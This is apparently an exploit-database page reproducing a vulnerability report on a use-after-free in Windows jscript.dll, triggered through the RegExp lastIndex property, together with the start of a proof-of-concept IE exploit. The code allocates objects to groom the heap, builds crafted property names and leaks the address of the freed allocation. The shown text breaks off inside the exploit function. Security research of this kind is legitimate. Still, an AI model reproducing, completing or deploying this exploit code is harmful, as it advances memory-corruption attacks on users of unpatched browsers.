Microsoft windows jscript regexp.lastindex useafterfree Vulnerability / Exploit
/
/
/
Exploits / Vulnerability Discovered : 2018-08-28 |
Type : dos |
Platform : windows
This exploit / vulnerability Microsoft windows jscript regexp.lastindex useafterfree is for educational purposes only and if it is used you will do on your own risk!
[+] Code ...
<!--
There is a use-after-free vulnerability in jscript.dll related to how the lastIndex property of a RegExp object is handled. This vulnerability can be exploited through Internet Explorer or potentially through WPAD over local network. The vulnerability has been reproduced on multiple Windows versions with the most recent patches applied.
The issue is that lastIndex property of a RegExp object is not tracked by the garbage collector. If you look at RegExpObj::LastIndex you'll see that, on x64, lastIndex gets stored in a VAR at offset 272 (at least in my version), but if you take a look at RegExpObj::ScavengeCore (which gets called by the garbage collector to track various member variables) you'll notice that that offset is not being tracked. This allows an attacker to set the lastIndex property, and after the garbage collector gets trigger, the corresponding variable is going to get freed. As JavaScript variables are all allocated in blocks by a custom allocator, to turn this into a crash the entire block of variables needs to get freed. This is similar to some already reported issues, e.g. https://bugs.chromium.org/p/project-zero/issues/detail?id=1506
Attached is a started-but-never-finished exploit that only leaks the heap address of the use-after-free allocation. It was tested against IE in 64-bit single process mode (via TabProcGrowth registry flag). In a 32-bit process (default) the structure sizes/offsets would likely be different so it would not work as is.
-->
<!-- saved from url=(0014)about:internet -->
<meta http-equiv="X-UA-Compatible" content="IE=7"></meta>
<script language="Jscript.Encode">
var objects = [];
var regexps = [];
var magicIndex = 0;
var magicObject;
var allocationAddress;
function infoLeak() {
// alert("in infoleak");
// leak the "next" pointer from one of the NameList entries
allocationAddress = regexps[magicIndex + 6].lastIndex / 4.9406564584124654E-324 - 0x560;
prompt("allocationAddress", allocationAddress.toString(16));
}
// specially crafted property name that allows us to test for successful exploitation
// and figure out which object got reallocated over freed block
function getName4(index) {
return String.fromCharCode(0,0,0,0,0,0,0,0, 3,0,0,0, index,0,0,0, 0,0,0,0, 3,0,0,0, 0x1337,0,0,0, 0,0,0,0);
}
function exploit() {
// todo: trigger LFH for 0x970 allocation size, might make the exploit more reliable
alert('start');
// crafted property names
var name1 = Array(570).join('a'); // makes NameList allocation of exactly 0x970 bytes
var name2 = 'bbbbbbbbbbb'; // length chosen to allign the next item correctly
var name3 = String.fromCharCode(5); // 5 is the double var type, used to leak the "next" pointer
// allocate empty objects
for(var i=0; i<500; i++) {
var o = {};
objects[i] = o;
}